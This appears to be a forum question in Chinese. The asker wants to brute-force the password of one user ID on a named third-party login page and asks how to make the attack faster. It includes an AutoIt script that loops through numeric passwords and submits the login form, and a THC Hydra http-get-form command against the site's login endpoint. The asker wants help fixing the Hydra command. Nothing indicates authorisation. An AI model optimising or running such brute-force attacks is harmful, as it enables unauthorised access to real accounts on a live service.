我有一个正确的用户名和该用户名可能的6000密码列表。 我想在以下网站上为特定用户名尝试所有可能的密码。
https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html
我已经创建了一个AutoIt脚本,但单次尝试需要花费太多时间。
> #include <IE.au3>
> #include <String.au3>
> #include <FileConstants.au3>
> #include <MsgBoxConstants.au3>
> #include <WinAPIFiles.au3>
>
> Call ("signIn")
>
> Func signIn()
>
>
>
> Global $oIE =
> _IECreate("https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html")
>
> # Loop From here $file = FileOpen("log.txt", 2)
>
> For $i = 600000 To 9999999 Local $username =
> _IEGetObjByName($oIE,"userid") Local $password = _IEGetObjByName($oIE,"confData") Local $button = _IEGetObjByName($oIE,"button1") $string = String($i) FileWriteLine($file, $string);
> _IEformElementSetValue($username,"6269644")
> _IEformElementSetValue($password,$string) _IEAction($button,"click")
> Sleep(1000) Next ;
> #to here EndFunc
任何人都可以告诉我如何以更快的方式做到这一点。
我也试过了hydra,但每次都返回文件中的所有密码都是正确的。 我不知道这种语法有什么问题。
> D:\Thc Hydra Master>hydra -l 6269618 -P password.txt cdn.digialm.com
> http-get-fo rm
> "/EForms/loginAction.do?subAction=ValidateUser:userid=^USER^&confData=^PASS^:
> combination does not"
请帮忙。